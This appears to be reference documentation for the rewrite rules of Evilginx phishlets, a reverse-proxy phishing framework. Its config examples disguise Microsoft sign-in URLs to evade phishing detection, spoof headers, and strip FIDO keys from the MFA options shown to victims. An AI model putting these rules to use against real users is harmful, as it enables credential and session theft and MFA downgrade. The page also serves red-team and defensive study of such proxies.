Rewrite
The rewrite section is where most of a phishlet's behavior lives. It defines how the proxy modifies HTTP traffic as it flows through, so that the visitor sees a coherent login experience while Evilginx silently captures session data.
There are three independent subsections:
| Subsection | Purpose |
|---|---|
urls | Rewrite client-visible URL paths — disguise sign-in endpoints so they don't look like canonical login URLs. |
requests | Modify outgoing requests before they reach the upstream server. |
responses | Modify incoming responses before they reach the visitor's browser. |
A rewrite is built from three building blocks:
- A Trigger decides which request or response the rule applies to.
- A Locator identifies what data inside the packet the rule operates on.
- A
rewritedescribes how the data is transformed (its action and replacement value).
{
trigger: { hostname: "akira.lab.evilginx.com", path: "/api/v1/auth/login" },
locator: { scope: "body", format: "raw", match_value: '~([a-zA-Z0-9.]+%40[a-zA-Z0-9.]+)' },
rewrite: { value: 'ble%40blibli.com' }
}
URLs
rewrite.urls rewrites the URL path the visitor sees in their address bar, decoupling it from the upstream URL the proxy actually fetches. The original URL still drives the upstream request, but the browser sees a disguised path. This is primarily used to evade phishing-detection heuristics that compare URL paths against a list of known login endpoints.
Each entry looks like this:
{
trigger: { hostname: "login.microsoftonline.com", path: "/common/oauth2/v2.0/authorize" },
rewrite: { path: "/o/auth", query: { v: "boop-${rewrite_id}" } },
options: { exclude_keys: ["client_id"] }
}
| Field | Type | Required | Description |
|---|---|---|---|
trigger | trigger | yes | Selects the request whose URL is rewritten. URL-rewrite triggers cannot use header or method. |
rewrite.path | string | yes | The path the browser will display. Auto-prefixed with / if you omit it. |
rewrite.query | map<string,string> | no | Extra query parameters added to the displayed URL. |
options.exclude_keys | []string | no | Original query parameter names to preserve in the rewritten URL. By default all original query parameters are hidden. |
${rewrite_id} is requiredAt least one of rewrite.path or any value in rewrite.query must contain the ${rewrite_id} placeholder. The parser refuses to load a rule without it. The placeholder is replaced with a random integer per request, used as an index to match the displayed path back to the original.
How it works
Given the rule above, a request to:
/common/oauth2/v2.0/authorize?client_id=ABCD&var=something&uid=123
becomes (in the browser's address bar):
/o/auth?v=boop-123456&client_id=ABCD
client_idis preserved because it was listed inexclude_keys— useful when client-side JavaScript reads it from the URL.varanduidare hidden but still forwarded to the upstream server when the proxy translates the disguised URL back to the original.
A simpler form uses ${rewrite_id} directly in the path:
{
trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
rewrite: { path: "/o/l/${rewrite_id}" }
}
Requests & responses
Entries under rewrite.requests[] apply to outgoing HTTP requests; entries under rewrite.responses[] apply to incoming HTTP responses. The two arrays share the same structure.
Simple rewrites
{
trigger: { hostname: "akira.lab.evilginx.com", path: "*" },
locator: {
scope: "headers",
match_key: "User-Agent",
match_value: '~(.*\\sChrome\\/)([0-9\\.]*)(.*)'
},
rewrite: { action: "update", key: "@", value: '${1}123.0.0${3}' }
}
| Field | Type | Required | Description |
|---|---|---|---|
trigger | trigger | yes | Selects the request or response. |
locator | locator | yes | Identifies the data to operate on. |
rewrite.action | string | only for key/value scopes | One of create, update, delete. See Actions. |
rewrite.key | [matcher] / [json_path] | only for key/value scopes | The key targeted by the action. Often @ (the matched key itself). For JSON scope this is a JSON Path. |
rewrite.value | string | yes (except for delete) | The replacement value. Supports ${0} … ${N} capture groups, ${param} substitution, and @file payload loading. |
rewrite.chained_value | string | no | Used only inside chains. Ignored in simple rewrites. |
Actions
The action field is required for key/value locator scopes (URL query, headers, cookies, body JSON / form) and forbidden for non-key scopes (URL path, body raw — for those the rewrite is always a value replacement and value alone is used).
| Action | Effect | key field | value field |
|---|---|---|---|
create | Adds a new key/value pair only if the key does not already exist in the matched scope. | required (name of the new key) | required |
update | Replaces the value of the matched key, only if it already exists. | required (typically @ to mean "the matched key") | required |
delete | Removes the matched key. | required | not used |
The special key: "@" means "the key the locator matched". For JSON paths, @-1, @.child, etc. are also valid — see JSON Path → Self / parent / child references.
Capture groups and parameter substitution
When the locator's match_value is a regular expression, its capture groups are available in rewrite.value (and rewrite.chained_value) as ${0} for the whole match, ${1} for the first group, and so on.
// Pin Chrome to a fixed version regardless of what the client claims:
{
trigger: { hostname: "akira.lab.evilginx.com", path: "*" },
locator: {
scope: "headers",
match_key: "User-Agent",
match_value: '~(.*\\sChrome\\/)([0-9\\.]*)(.*)'
},
rewrite: { action: "update", key: "@", value: '${1}123.0.0${3}' }
}
${param} parameter placeholders from params are also substituted in value. See the String Matcher reference for the resolution order.
Loading the replacement from a file
Prefix rewrite.value with @ to load the payload from the phishlet's static/ directory. The file path is relative to that directory:
// Set the Server header to the contents of static/nginx.txt:
{
trigger: { hostname: "akira.lab.evilginx.com", path: "/" },
locator: { scope: "headers", match_key: "User-Agent", match_value: '~(.*)' },
rewrite: { action: "create", key: "Server", value: "@nginx.txt" }
}
To use a literal @ at the start of a value, escape it: "\\@literal".
Chained rewrites
A chain stacks multiple rewrites on the same matched block of data. The first chain item locates and (optionally) modifies the data; subsequent items operate on whatever the previous item produced. This is how you reach into structured content that lives inside opaque content — for example, JSON embedded in an HTML response.
A chain replaces the usual locator / rewrite pair at the top of the rule:
{
trigger: { hostname: "login.microsoftonline.com", path: "*" },
chain: [
{
locator: { scope: "body", format: "raw", match_value: '~\\$Config=({.*});' },
rewrite: { value: '$Config=${1};', chained_value: '${1}' }
}
{
locator: {
scope: "body", format: "json",
match_key: 'arrUserProofs.[*].authMethodId',
match_value: 'FidoKey'
},
rewrite: { action: 'delete', key: '@-1' }
}
]
}
How that example reads:
- The first item parses the HTML response body as raw text, captures the inline
$Config={...};JSON object, and emits two values:rewrite.value('$Config=${1};') is what gets written back into the response body — unchanged content in this case.rewrite.chained_value('${1}') is the data that flows into the next chain item — the captured JSON only.
- The second item parses the chained value as JSON, finds every
arrUserProofs[*].authMethodIdwhose value is"FidoKey", and deletes the parent object (@-1) — removing the FIDO key as an available MFA method.
Chain rules
| Field | Type | Required | Description |
|---|---|---|---|
trigger | trigger | yes | Selects the packet to operate on. |
chain[].locator | locator | yes | Where to look in the current input. |
chain[].rewrite.action | string | for key/value scopes | See Actions. |
chain[].rewrite.key | [matcher] / [json_path] | for key/value scopes | See Actions. |
chain[].rewrite.value | string | yes (except delete) | What to write back into the current input. |
chain[].rewrite.chained_value | string | no | The value passed to the next chain item. If omitted, the chain effectively stops affecting the input handed to the next step. |
Only the first chain item can use any locator scope that yields a string. Every subsequent item must use body scope (with raw, json, or form format) because it operates on the previous item's output. The parser rejects a chain that violates this with "subsequent items in the rewrite chain can only use the scope `body` to rewrite the forwarded value".
A chain cannot coexist with sibling locator / rewrite fields — choose one form per rule.